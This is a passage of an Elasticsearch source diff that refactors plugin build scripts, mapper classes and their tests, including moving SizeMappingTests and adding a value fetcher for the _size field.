0000000000000..8e574b75a883f --- /dev/null +++ b/plugins/discovery-ec2/licenses/jackson-databind-2.12.2.jar.sha1 @@ -0,0 +1 @@ +5f9d79e09ebf5d54a46e9f4543924cf7ae7654e0 \ No newline at end of file diff --git a/plugins/discovery-ec2/qa/amazon-ec2/build.gradle b/plugins/discovery-ec2/qa/amazon-ec2/build.gradle index 6473f396fa7f8..be31c77b92896 100644 --- a/plugins/discovery-ec2/qa/amazon-ec2/build.gradle +++ b/plugins/discovery-ec2/qa/amazon-ec2/build.gradle @@ -7,11 +7,11 @@ */ -import org.elasticsearch.gradle.MavenFilteringHack -import org.elasticsearch.gradle.info.BuildParams -import org.elasticsearch.gradle.test.AntFixture -import org.elasticsearch.gradle.test.RestIntegTestTask -import org.elasticsearch.gradle.test.rest.YamlRestTestPlugin +import org.elasticsearch.gradle.internal.MavenFilteringHack +import org.elasticsearch.gradle.internal.info.BuildParams +import org.elasticsearch.gradle.internal.test.AntFixture +import org.elasticsearch.gradle.internal.test.RestIntegTestTask +import org.elasticsearch.gradle.internal.test.rest.YamlRestTestPlugin import static org.elasticsearch.gradle.PropertyNormalization.IGNORE_VALUE @@ -23,7 +23,7 @@ dependencies { restResources { restApi { - includeCore '_common', 'cluster', 'nodes' + include '_common', 'cluster', 'nodes' } } diff --git a/plugins/discovery-ec2/src/internalClusterTest/java/org/elasticsearch/discovery/ec2/AbstractAwsTestCase.java b/plugins/discovery-ec2/src/internalClusterTest/java/org/elasticsearch/discovery/ec2/AbstractAwsTestCase.java index bf0aca634f010..333c541ce1de4 100644 --- a/plugins/discovery-ec2/src/internalClusterTest/java/org/elasticsearch/discovery/ec2/AbstractAwsTestCase.java +++ b/plugins/discovery-ec2/src/internalClusterTest/java/org/elasticsearch/discovery/ec2/AbstractAwsTestCase.java @@ -31,9 +31,9 @@ public abstract class AbstractAwsTestCase extends ESIntegTestCase { @Override - protected Settings nodeSettings(int nodeOrdinal) { + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { Settings.Builder settings = Settings.builder() - .put(super.nodeSettings(nodeOrdinal)) + .put(super.nodeSettings(nodeOrdinal, otherSettings)) .put(Environment.PATH_HOME_SETTING.getKey(), createTempDir()); // if explicit, just load it and don't load from env diff --git a/plugins/discovery-gce/build.gradle b/plugins/discovery-gce/build.gradle index 303b132095e2a..4b05eae7b8689 100644 --- a/plugins/discovery-gce/build.gradle +++ b/plugins/discovery-gce/build.gradle @@ -26,7 +26,7 @@ dependencies { restResources { restApi { - includeCore '_common', 'cluster', 'nodes' + include '_common', 'cluster', 'nodes' } } diff --git a/plugins/discovery-gce/qa/gce/build.gradle b/plugins/discovery-gce/qa/gce/build.gradle index 36d65673b0013..061c755a885a0 100644 --- a/plugins/discovery-gce/qa/gce/build.gradle +++ b/plugins/discovery-gce/qa/gce/build.gradle @@ -7,9 +7,9 @@ */ -import org.elasticsearch.gradle.MavenFilteringHack -import org.elasticsearch.gradle.info.BuildParams -import org.elasticsearch.gradle.test.AntFixture +import org.elasticsearch.gradle.internal.MavenFilteringHack +import org.elasticsearch.gradle.internal.info.BuildParams +import org.elasticsearch.gradle.internal.test.AntFixture import static org.elasticsearch.gradle.PropertyNormalization.IGNORE_VALUE @@ -23,7 +23,7 @@ dependencies { restResources { restApi { - includeCore '_common', 'cluster', 'nodes' + include '_common', 'cluster', 'nodes' } } diff --git a/plugins/discovery-gce/src/internalClusterTest/java/org/elasticsearch/discovery/gce/GceDiscoverTests.java b/plugins/discovery-gce/src/internalClusterTest/java/org/elasticsearch/discovery/gce/GceDiscoverTests.java index 9cd81b9611f4e..fe6a39de4c626 100644 --- a/plugins/discovery-gce/src/internalClusterTest/java/org/elasticsearch/discovery/gce/GceDiscoverTests.java +++ b/plugins/discovery-gce/src/internalClusterTest/java/org/elasticsearch/discovery/gce/GceDiscoverTests.java @@ -49,9 +49,9 @@ protected Collection> nodePlugins() { } @Override - protected Settings nodeSettings(int nodeOrdinal) { + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { return Settings.builder() - .put(super.nodeSettings(nodeOrdinal)) + .put(super.nodeSettings(nodeOrdinal, otherSettings)) .put(DISCOVERY_SEED_PROVIDERS_SETTING.getKey(), "gce") .put("cloud.gce.project_id", "test") .put("cloud.gce.zone", "test") diff --git a/plugins/examples/build.gradle b/plugins/examples/build.gradle index 0434c6e77903c..2bead2971bf35 100644 --- a/plugins/examples/build.gradle +++ b/plugins/examples/build.gradle @@ -1,4 +1,4 @@ -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams // Subprojects aren't published so do not assemble gradle.projectsEvaluated { subprojects { diff --git a/plugins/examples/custom-settings/build.gradle b/plugins/examples/custom-settings/build.gradle index 53b2fea25b929..db6c0d3eba296 100644 --- a/plugins/examples/custom-settings/build.gradle +++ b/plugins/examples/custom-settings/build.gradle @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -apply plugin: 'elasticsearch.esplugin' +apply plugin: 'elasticsearch.internal-es-plugin' apply plugin: 'elasticsearch.yaml-rest-test' esplugin { diff --git a/plugins/examples/custom-significance-heuristic/build.gradle b/plugins/examples/custom-significance-heuristic/build.gradle index 29d718af1299a..3f892f506784d 100644 --- a/plugins/examples/custom-significance-heuristic/build.gradle +++ b/plugins/examples/custom-significance-heuristic/build.gradle @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -apply plugin: 'elasticsearch.esplugin' +apply plugin: 'elasticsearch.internal-es-plugin' apply plugin: 'elasticsearch.yaml-rest-test' esplugin { diff --git a/plugins/examples/custom-suggester/build.gradle b/plugins/examples/custom-suggester/build.gradle index 40d79644a5463..58061ce01af8f 100644 --- a/plugins/examples/custom-suggester/build.gradle +++ b/plugins/examples/custom-suggester/build.gradle @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -apply plugin: 'elasticsearch.esplugin' +apply plugin: 'elasticsearch.internal-es-plugin' apply plugin: 'elasticsearch.yaml-rest-test' esplugin { diff --git a/plugins/examples/painless-whitelist/build.gradle b/plugins/examples/painless-whitelist/build.gradle index 9cd57a2d64799..a625a45715d4b 100644 --- a/plugins/examples/painless-whitelist/build.gradle +++ b/plugins/examples/painless-whitelist/build.gradle @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -apply plugin: 'elasticsearch.esplugin' +apply plugin: 'elasticsearch.internal-es-plugin' apply plugin: 'elasticsearch.yaml-rest-test' esplugin { @@ -23,6 +23,7 @@ dependencies { testClusters.all { testDistribution = 'DEFAULT' + setting 'xpack.security.enabled', 'false' } tasks.named("test").configure { enabled = false } diff --git a/plugins/examples/rescore/build.gradle b/plugins/examples/rescore/build.gradle index d83bdbc79c0bd..6c676a86fc5f0 100644 --- a/plugins/examples/rescore/build.gradle +++ b/plugins/examples/rescore/build.gradle @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -apply plugin: 'elasticsearch.esplugin' +apply plugin: 'elasticsearch.internal-es-plugin' apply plugin: 'elasticsearch.yaml-rest-test' esplugin { diff --git a/plugins/examples/rest-handler/build.gradle b/plugins/examples/rest-handler/build.gradle index 19fcac2e77a10..dd15e77e07cc1 100644 --- a/plugins/examples/rest-handler/build.gradle +++ b/plugins/examples/rest-handler/build.gradle @@ -1,4 +1,4 @@ -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one @@ -7,7 +7,7 @@ import org.elasticsearch.gradle.info.BuildParams * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -apply plugin: 'elasticsearch.esplugin' +apply plugin: 'elasticsearch.internal-es-plugin' apply plugin: 'elasticsearch.yaml-rest-test' apply plugin: 'elasticsearch.java-rest-test' @@ -22,7 +22,7 @@ esplugin { // No unit tests in this example tasks.named("test").configure { enabled = false } -def fixture = tasks.register("exampleFixture", org.elasticsearch.gradle.test.AntFixture) { +def fixture = tasks.register("exampleFixture", org.elasticsearch.gradle.internal.test.AntFixture) { dependsOn sourceSets.javaRestTest.runtimeClasspath env 'CLASSPATH', "${-> project.sourceSets.javaRestTest.runtimeClasspath.asPath}" executable = "${BuildParams.runtimeJavaHome}/bin/java" diff --git a/plugins/examples/script-expert-scoring/build.gradle b/plugins/examples/script-expert-scoring/build.gradle index d2377e894edbe..c9d79f7aa7674 100644 --- a/plugins/examples/script-expert-scoring/build.gradle +++ b/plugins/examples/script-expert-scoring/build.gradle @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -apply plugin: 'elasticsearch.esplugin' +apply plugin: 'elasticsearch.internal-es-plugin' apply plugin: 'elasticsearch.yaml-rest-test' esplugin { diff --git a/plugins/examples/security-authorization-engine/build.gradle b/plugins/examples/security-authorization-engine/build.gradle index 7e016cf982b3c..6bfba35595ae6 100644 --- a/plugins/examples/security-authorization-engine/build.gradle +++ b/plugins/examples/security-authorization-engine/build.gradle @@ -1,4 +1,4 @@ -apply plugin: 'elasticsearch.esplugin' +apply plugin: 'elasticsearch.internal-es-plugin' apply plugin: 'elasticsearch.java-rest-test' esplugin { diff --git a/plugins/examples/security-authorization-engine/src/main/java/org/elasticsearch/example/CustomAuthorizationEngine.java b/plugins/examples/security-authorization-engine/src/main/java/org/elasticsearch/example/CustomAuthorizationEngine.java index 8f45c8460bc1b..561729eb00342 100644 --- a/plugins/examples/security-authorization-engine/src/main/java/org/elasticsearch/example/CustomAuthorizationEngine.java +++ b/plugins/examples/security-authorization-engine/src/main/java/org/elasticsearch/example/CustomAuthorizationEngine.java @@ -28,7 +28,6 @@ import org.elasticsearch.xpack.core.security.authz.privilege.ConfigurableClusterPrivilege; import org.elasticsearch.xpack.core.security.user.User; -import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.Collections; @@ -98,11 +97,11 @@ public void authorizeIndexAction(RequestInfo requestInfo, AuthorizationInfo auth @Override public void loadAuthorizedIndices(RequestInfo requestInfo, AuthorizationInfo authorizationInfo, - Map indicesLookup, ActionListener> listener) { + Map indicesLookup, ActionListener> listener) { if (isSuperuser(requestInfo.getAuthentication().getUser())) { - listener.onResponse(new ArrayList<>(indicesLookup.keySet())); + listener.onResponse(indicesLookup.keySet()); } else { - listener.onResponse(Collections.emptyList()); + listener.onResponse(Collections.emptySet()); } } diff --git a/plugins/ingest-attachment/build.gradle b/plugins/ingest-attachment/build.gradle index 7a82d7100eb06..03a5e5f717213 100644 --- a/plugins/ingest-attachment/build.gradle +++ b/plugins/ingest-attachment/build.gradle @@ -1,4 +1,4 @@ -import org.elasticsearch.gradle.info.BuildParams +import org.elasticsearch.gradle.internal.info.BuildParams /* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one @@ -8,6 +8,7 @@ import org.elasticsearch.gradle.info.BuildParams * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' esplugin { description 'Ingest processor that uses Apache Tika to extract contents' @@ -59,7 +60,7 @@ dependencies { api "org.apache.james:apache-mime4j-core:${versions.mime4j}" api "org.apache.james:apache-mime4j-dom:${versions.mime4j}" // EPUB books - api 'org.apache.commons:commons-lang3:3.9' + api "org.apache.commons:commons-lang3:${versions.commons_lang3}" // Microsoft Word files with visio diagrams api 'org.apache.commons:commons-math3:3.6.1' // POIs dependency @@ -68,7 +69,7 @@ dependencies { restResources { restApi { - includeCore '_common', 'cluster', 'nodes', 'ingest', 'index', 'get' + include '_common', 'cluster', 'nodes', 'ingest', 'index', 'get' } } @@ -95,5 +96,6 @@ if (BuildParams.inFipsJvm) { tasks.named("jarHell").configure { enabled = false } tasks.named("test").configure { enabled = false } tasks.named("yamlRestTest").configure { enabled = false }; + tasks.named("yamlRestCompatTest").configure { enabled = false }; tasks.named("testingConventions").configure { enabled = false }; } diff --git a/plugins/mapper-annotated-text/build.gradle b/plugins/mapper-annotated-text/build.gradle index 307794e0138f8..c0978e6f12a97 100644 --- a/plugins/mapper-annotated-text/build.gradle +++ b/plugins/mapper-annotated-text/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' apply plugin: 'elasticsearch.internal-cluster-test' esplugin { @@ -15,6 +16,6 @@ esplugin { restResources { restApi { - includeCore '_common', 'indices', 'index', 'search' + include '_common', 'indices', 'index', 'search' } } diff --git a/plugins/mapper-annotated-text/src/internalClusterTest/java/org/elasticsearch/index/mapper/annotatedtext/AnnotatedTextFieldMapperTests.java b/plugins/mapper-annotated-text/src/internalClusterTest/java/org/elasticsearch/index/mapper/annotatedtext/AnnotatedTextFieldMapperTests.java index afb439c59cb68..619858ce4bcfe 100644 --- a/plugins/mapper-annotated-text/src/internalClusterTest/java/org/elasticsearch/index/mapper/annotatedtext/AnnotatedTextFieldMapperTests.java +++ b/plugins/mapper-annotated-text/src/internalClusterTest/java/org/elasticsearch/index/mapper/annotatedtext/AnnotatedTextFieldMapperTests.java @@ -36,6 +36,7 @@ import org.elasticsearch.index.analysis.StandardTokenizerFactory; import org.elasticsearch.index.analysis.TokenFilterFactory; import org.elasticsearch.index.mapper.DocumentMapper; +import org.elasticsearch.index.mapper.MappedFieldType; import org.elasticsearch.index.mapper.MapperParsingException; import org.elasticsearch.index.mapper.MapperService; import org.elasticsearch.index.mapper.MapperTestCase; @@ -552,4 +553,9 @@ public void testAnalyzedFieldPositionIncrementWithoutPositions() { } } + @Override + protected Object generateRandomInputValue(MappedFieldType ft) { + assumeFalse("annotated_text doesn't have fielddata so we can't check against anything here.", true); + return null; + } } diff --git a/plugins/mapper-annotated-text/src/main/java/org/elasticsearch/index/mapper/annotatedtext/AnnotatedTextFieldMapper.java b/plugins/mapper-annotated-text/src/main/java/org/elasticsearch/index/mapper/annotatedtext/AnnotatedTextFieldMapper.java index d90f696b0bf14..3bb3ed7816728 100644 --- a/plugins/mapper-annotated-text/src/main/java/org/elasticsearch/index/mapper/annotatedtext/AnnotatedTextFieldMapper.java +++ b/plugins/mapper-annotated-text/src/main/java/org/elasticsearch/index/mapper/annotatedtext/AnnotatedTextFieldMapper.java @@ -116,7 +116,7 @@ public AnnotatedTextFieldMapper build(ContentPath contentPath) { if (fieldType.indexOptions() == IndexOptions.NONE ) { throw new IllegalArgumentException("[" + CONTENT_TYPE + "] fields must be indexed"); } - if (analyzers.positionIncrementGap.get() != TextParams.POSITION_INCREMENT_GAP_USE_ANALYZER) { + if (analyzers.positionIncrementGap.isConfigured()) { if (fieldType.indexOptions().compareTo(IndexOptions.DOCS_AND_FREQS_AND_POSITIONS) < 0) { throw new IllegalArgumentException("Cannot set position_increment_gap on field [" + name + "] without positions enabled"); @@ -517,12 +517,7 @@ protected AnnotatedTextFieldMapper(String simpleName, FieldType fieldType, Annot @Override protected void parseCreateField(ParseContext context) throws IOException { - final String value; - if (context.externalValueSet()) { - value = context.externalValue().toString(); - } else { - value = context.parser().textOrNull(); - } + final String value = context.parser().textOrNull(); if (value == null) { return; @@ -532,7 +527,7 @@ protected void parseCreateField(ParseContext context) throws IOException { Field field = new Field(mappedFieldType.name(), value, fieldType); context.doc().add(field); if (fieldType.omitNorms()) { - createFieldNamesField(context); + context.addToFieldNames(fieldType().name()); } } } diff --git a/plugins/mapper-annotated-text/src/test/java/org/elasticsearch/index/mapper/annotatedtext/AnnotatedTextFieldTypeTests.java b/plugins/mapper-annotated-text/src/test/java/org/elasticsearch/index/mapper/annotatedtext/AnnotatedTextFieldTypeTests.java index 7de8a93ac38bc..979cca76c8059 100644 --- a/plugins/mapper-annotated-text/src/test/java/org/elasticsearch/index/mapper/annotatedtext/AnnotatedTextFieldTypeTests.java +++ b/plugins/mapper-annotated-text/src/test/java/org/elasticsearch/index/mapper/annotatedtext/AnnotatedTextFieldTypeTests.java @@ -8,11 +8,9 @@ package org.elasticsearch.index.mapper.annotatedtext; -import org.apache.lucene.analysis.standard.StandardAnalyzer; import org.apache.lucene.queries.intervals.Intervals; import org.apache.lucene.queries.intervals.IntervalsSource; -import org.elasticsearch.index.analysis.AnalyzerScope; -import org.elasticsearch.index.analysis.NamedAnalyzer; +import org.apache.lucene.util.BytesRef; import org.elasticsearch.index.mapper.ContentPath; import org.elasticsearch.index.mapper.FieldTypeTestCase; import org.elasticsearch.index.mapper.MappedFieldType; @@ -25,9 +23,8 @@ public class AnnotatedTextFieldTypeTests extends FieldTypeTestCase { public void testIntervals() throws IOException { MappedFieldType ft = new AnnotatedTextFieldMapper.AnnotatedTextFieldType("field", Collections.emptyMap()); - NamedAnalyzer a = new NamedAnalyzer("name", AnalyzerScope.INDEX, new StandardAnalyzer()); - IntervalsSource source = ft.intervals("Donald Trump", 0, true, a, false); - assertEquals(Intervals.phrase(Intervals.term("donald"), Intervals.term("trump")), source); + IntervalsSource source = ft.termIntervals(new BytesRef("donald"), null); + assertEquals(Intervals.term("donald"), source); } public void testFetchSourceValue() throws IOException { diff --git a/plugins/mapper-murmur3/build.gradle b/plugins/mapper-murmur3/build.gradle index 77d889516f3a6..8bfdff8fd9130 100644 --- a/plugins/mapper-murmur3/build.gradle +++ b/plugins/mapper-murmur3/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' esplugin { description 'The Mapper Murmur3 plugin allows to compute hashes of a field\'s values at index-time and to store them in the index.' @@ -14,6 +15,6 @@ esplugin { restResources { restApi { - includeCore '_common', 'indices', 'index', 'search' + include '_common', 'indices', 'index', 'search' } } diff --git a/plugins/mapper-murmur3/src/main/java/org/elasticsearch/index/mapper/murmur3/Murmur3FieldMapper.java b/plugins/mapper-murmur3/src/main/java/org/elasticsearch/index/mapper/murmur3/Murmur3FieldMapper.java index 75dad11e6ce50..00adef515b82a 100644 --- a/plugins/mapper-murmur3/src/main/java/org/elasticsearch/index/mapper/murmur3/Murmur3FieldMapper.java +++ b/plugins/mapper-murmur3/src/main/java/org/elasticsearch/index/mapper/murmur3/Murmur3FieldMapper.java @@ -123,12 +123,7 @@ protected String contentType() { @Override protected void parseCreateField(ParseContext context) throws IOException { - final Object value; - if (context.externalValueSet()) { - value = context.externalValue(); - } else { - value = context.parser().textOrNull(); - } + final String value = context.parser().textOrNull(); if (value != null) { final BytesRef bytes = new BytesRef(value.toString()); final long hash = MurmurHash3.hash128(bytes.bytes, bytes.offset, bytes.length, 0, new MurmurHash3.Hash128()).h1; diff --git a/plugins/mapper-murmur3/src/test/java/org/elasticsearch/index/mapper/murmur3/Murmur3FieldMapperTests.java b/plugins/mapper-murmur3/src/test/java/org/elasticsearch/index/mapper/murmur3/Murmur3FieldMapperTests.java index 2a30253a2c2a3..962c2e7c0cd9f 100644 --- a/plugins/mapper-murmur3/src/test/java/org/elasticsearch/index/mapper/murmur3/Murmur3FieldMapperTests.java +++ b/plugins/mapper-murmur3/src/test/java/org/elasticsearch/index/mapper/murmur3/Murmur3FieldMapperTests.java @@ -13,6 +13,7 @@ import org.apache.lucene.index.IndexableField; import org.elasticsearch.common.xcontent.XContentBuilder; import org.elasticsearch.index.mapper.DocumentMapper; +import org.elasticsearch.index.mapper.MappedFieldType; import org.elasticsearch.index.mapper.MapperTestCase; import org.elasticsearch.index.mapper.ParsedDocument; import org.elasticsearch.plugin.mapper.MapperMurmur3Plugin; @@ -56,4 +57,9 @@ public void testDefaults() throws Exception { assertEquals(DocValuesType.SORTED_NUMERIC, field.fieldType().docValuesType()); } + @Override + protected Object generateRandomInputValue(MappedFieldType ft) { + assumeFalse("Test implemented in a follow up", true); + return null; + } } diff --git a/plugins/mapper-size/build.gradle b/plugins/mapper-size/build.gradle index a45c4cfe638d3..12176fff28c5a 100644 --- a/plugins/mapper-size/build.gradle +++ b/plugins/mapper-size/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' apply plugin: 'elasticsearch.internal-cluster-test' esplugin { @@ -15,8 +16,6 @@ esplugin { restResources { restApi { - includeCore '_common', 'indices', 'index', 'get' + include '_common', 'indices', 'index', 'get' } } -// no unit tests -tasks.named("test").configure { enabled = false } diff --git a/plugins/mapper-size/src/internalClusterTest/java/org/elasticsearch/index/mapper/size/SizeMappingIT.java b/plugins/mapper-size/src/internalClusterTest/java/org/elasticsearch/index/mapper/size/SizeMappingIT.java index 230e39d617171..1a11335178fe5 100644 --- a/plugins/mapper-size/src/internalClusterTest/java/org/elasticsearch/index/mapper/size/SizeMappingIT.java +++ b/plugins/mapper-size/src/internalClusterTest/java/org/elasticsearch/index/mapper/size/SizeMappingIT.java @@ -9,6 +9,7 @@ import org.elasticsearch.action.admin.indices.mapping.get.GetMappingsResponse; import org.elasticsearch.action.get.GetResponse; +import org.elasticsearch.action.search.SearchResponse; import org.elasticsearch.action.support.master.AcknowledgedResponse; import org.elasticsearch.common.xcontent.XContentBuilder; import org.elasticsearch.common.xcontent.XContentType; @@ -93,11 +94,24 @@ private void assertSizeMappingEnabled(String index, boolean enabled) throws IOEx public void testBasic() throws Exception { assertAcked(prepareCreate("test").setMapping("_size", "enabled=true")); - final String source = "{\"f\":10}"; + final String source = "{\"f\":\"" + randomAlphaOfLengthBetween(1, 100)+ "\"}"; indexRandom(true, client().prepareIndex("test").setId("1").setSource(source, XContentType.JSON)); GetResponse getResponse = client().prepareGet("test", "1").setStoredFields("_size").get(); assertNotNull(getResponse.getField("_size")); assertEquals(source.length(), (int) getResponse.getField("_size").getValue()); } + + public void testGetWithFields() throws Exception { + assertAcked(prepareCreate("test").setMapping("_size", "enabled=true")); + final String source = "{\"f\":\"" + randomAlphaOfLengthBetween(1, 100)+ "\"}"; + indexRandom(true, + client().prepareIndex("test").setId("1").setSource(source, XContentType.JSON)); + SearchResponse searchResponse = client().prepareSearch("test").addFetchField("_size").get(); + assertEquals(source.length(), ((Long) searchResponse.getHits().getHits()[0].getFields().get("_size").getValue()).intValue()); + + // this should not work when requesting fields via wildcard expression + searchResponse = client().prepareSearch("test").addFetchField("*").get(); + assertNull(searchResponse.getHits().getHits()[0].getFields().get("_size")); + } } diff --git a/plugins/mapper-size/src/internalClusterTest/java/org/elasticsearch/index/mapper/size/SizeMappingTests.java b/plugins/mapper-size/src/internalClusterTest/java/org/elasticsearch/index/mapper/size/SizeMappingTests.java deleted file mode 100644 index 161f621118c81..0000000000000 --- a/plugins/mapper-size/src/internalClusterTest/java/org/elasticsearch/index/mapper/size/SizeMappingTests.java +++ /dev/null @@ -1,102 +0,0 @@ -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ - -package org.elasticsearch.index.mapper.size; - -import org.apache.lucene.index.IndexableField; -import org.elasticsearch.common.Strings; -import org.elasticsearch.common.bytes.BytesReference; -import org.elasticsearch.common.compress.CompressedXContent; -import org.elasticsearch.common.settings.Settings; -import org.elasticsearch.common.xcontent.XContentFactory; -import org.elasticsearch.common.xcontent.XContentType; -import org.elasticsearch.index.IndexService; -import org.elasticsearch.index.mapper.DocumentMapper; -import org.elasticsearch.index.mapper.MapperService; -import org.elasticsearch.index.mapper.ParsedDocument; -import org.elasticsearch.index.mapper.SourceToParse; -import org.elasticsearch.plugin.mapper.MapperSizePlugin; -import org.elasticsearch.plugins.Plugin; -import org.elasticsearch.test.ESSingleNodeTestCase; -import org.elasticsearch.test.InternalSettingsPlugin; - -import java.util.Collection; - -import static org.hamcrest.Matchers.is; -import static org.hamcrest.Matchers.nullValue; - -public class SizeMappingTests extends ESSingleNodeTestCase { - @Override - protected Collection> getPlugins() { - return pluginList(MapperSizePlugin.class, InternalSettingsPlugin.class); - } - - public void testSizeEnabled() throws Exception { - IndexService service = createIndex("test", Settings.EMPTY, "type", "_size", "enabled=true"); - DocumentMapper docMapper = service.mapperService().documentMapper(); - - BytesReference source = BytesReference - .bytes(XContentFactory.jsonBuilder() - .startObject() - .field("field", "value") - .endObject()); - ParsedDocument doc = docMapper.parse(new SourceToParse("test", "1", source, XContentType.JSON)); - - boolean stored = false; - boolean points = false; - for (IndexableField field : doc.rootDoc().getFields("_size")) { - stored |= field.fieldType().stored(); - points |= field.fieldType().pointIndexDimensionCount() > 0; - } - assertTrue(stored); - assertTrue(points); - } - - public void testSizeDisabled() throws Exception { - IndexService service = createIndex("test", Settings.EMPTY, "type", "_size", "enabled=false"); - DocumentMapper docMapper = service.mapperService().documentMapper(); - - BytesReference source = BytesReference - .bytes(XContentFactory.jsonBuilder() - .startObject() - .field("field", "value") - .endObject()); - ParsedDocument doc = docMapper.parse(new SourceToParse("test", "1", source, XContentType.JSON)); - - assertThat(doc.rootDoc().getField("_size"), nullValue()); - } - - public void testSizeNotSet() throws Exception { - IndexService service = createIndex("test", Settings.EMPTY, "type"); - DocumentMapper docMapper = service.mapperService().documentMapper(); - - BytesReference source = BytesReference - .bytes(XContentFactory.jsonBuilder() - .startObject() - .field("field", "value") - .endObject()); - ParsedDocument doc = docMapper.parse(new SourceToParse("test", "1", source, XContentType.JSON)); - - assertThat(doc.rootDoc().getField("_size"), nullValue()); - } - - public void testThatDisablingWorksWhenMerging() throws Exception { - IndexService service = createIndex("test", Settings.EMPTY, "type", "_size", "enabled=true"); - DocumentMapper docMapper = service.mapperService().documentMapper(); - assertThat(docMapper.metadataMapper(SizeFieldMapper.class).enabled(), is(true)); - - String disabledMapping = Strings.toString(XContentFactory.jsonBuilder().startObject().startObject("type") - .startObject("_size").field("enabled", false).endObject() - .endObject().endObject()); - docMapper = service.mapperService().merge("type", new CompressedXContent(disabledMapping), - MapperService.MergeReason.MAPPING_UPDATE); - - assertThat(docMapper.metadataMapper(SizeFieldMapper.class).enabled(), is(false)); - } - -} diff --git a/plugins/mapper-size/src/main/java/org/elasticsearch/index/mapper/size/SizeFieldMapper.java b/plugins/mapper-size/src/main/java/org/elasticsearch/index/mapper/size/SizeFieldMapper.java index ae79475da5be9..2ea7a77f27572 100644 --- a/plugins/mapper-size/src/main/java/org/elasticsearch/index/mapper/size/SizeFieldMapper.java +++ b/plugins/mapper-size/src/main/java/org/elasticsearch/index/mapper/size/SizeFieldMapper.java @@ -9,12 +9,15 @@ package org.elasticsearch.index.mapper.size; import org.elasticsearch.common.Explicit; +import org.elasticsearch.index.mapper.DocValueFetcher; import org.elasticsearch.index.mapper.FieldMapper; import org.elasticsearch.index.mapper.MappedFieldType; import org.elasticsearch.index.mapper.MetadataFieldMapper; import org.elasticsearch.index.mapper.NumberFieldMapper.NumberFieldType; import org.elasticsearch.index.mapper.NumberFieldMapper.NumberType; import org.elasticsearch.index.mapper.ParseContext; +import org.elasticsearch.index.mapper.ValueFetcher; +import org.elasticsearch.index.query.SearchExecutionContext; import java.io.IOException; import java.util.List; @@ -42,12 +45,26 @@ protected List> getParameters() { @Override public SizeFieldMapper build() { - return new SizeFieldMapper(enabled.getValue(), new NumberFieldType(NAME, NumberType.INTEGER)); + return new SizeFieldMapper(enabled.getValue(), new SizeFieldType()); + } + } + + private static class SizeFieldType extends NumberFieldType { + SizeFieldType() { + super(NAME, NumberType.INTEGER); + } + + @Override + public ValueFetcher valueFetcher(SearchExecutionContext context, String format) { + if (hasDocValues() == false) { + return lookup -> List.of(); + } + return new DocValueFetcher(docValueFormat(format, null), context.getForField(this)); } } public static final TypeParser PARSER = new ConfigurableTypeParser( - c -> new SizeFieldMapper(new Explicit<>(false, false), new NumberFieldType(NAME, NumberType.INTEGER)), + c -> new SizeFieldMapper(new Explicit<>(false, false), new SizeFieldType()), c -> new Builder() ); diff --git a/plugins/mapper-size/src/test/java/org/elasticsearch/index/mapper/size/SizeMappingTests.java b/plugins/mapper-size/src/test/java/org/elasticsearch/index/mapper/size/SizeMappingTests.java new file mode 100644 index 0000000000000..8810fac6d1f17 --- /dev/null +++ b/plugins/mapper-size/src/test/java/org/elasticsearch/index/mapper/size/SizeMappingTests.java @@ -0,0 +1,85 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.index.mapper.size; + +import org.apache.lucene.index.IndexableField; +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.index.mapper.DocumentMapper; +import org.elasticsearch.index.mapper.MapperService; +import org.elasticsearch.index.mapper.MapperServiceTestCase; +import org.elasticsearch.index.mapper.ParsedDocument; +import org.elasticsearch.plugin.mapper.MapperSizePlugin; +import org.elasticsearch.plugins.Plugin; + +import java.io.IOException; +import java.util.Collection; +import java.util.Collections; + +import static org.hamcrest.Matchers.nullValue; + +public class SizeMappingTests extends MapperServiceTestCase { + + @Override + protected Collection getPlugins() { + return Collections.singletonList(new MapperSizePlugin()); + } + + private static void enabled(XContentBuilder b) throws IOException { + b.startObject("_size"); + b.field("enabled", true); + b.endObject(); + } + + private static void disabled(XContentBuilder b) throws IOException { + b.startObject("_size"); + b.field("enabled", false); + b.endObject(); + } + + public void testSizeEnabled() throws Exception { + DocumentMapper docMapper = createDocumentMapper(topMapping(SizeMappingTests::enabled)); + 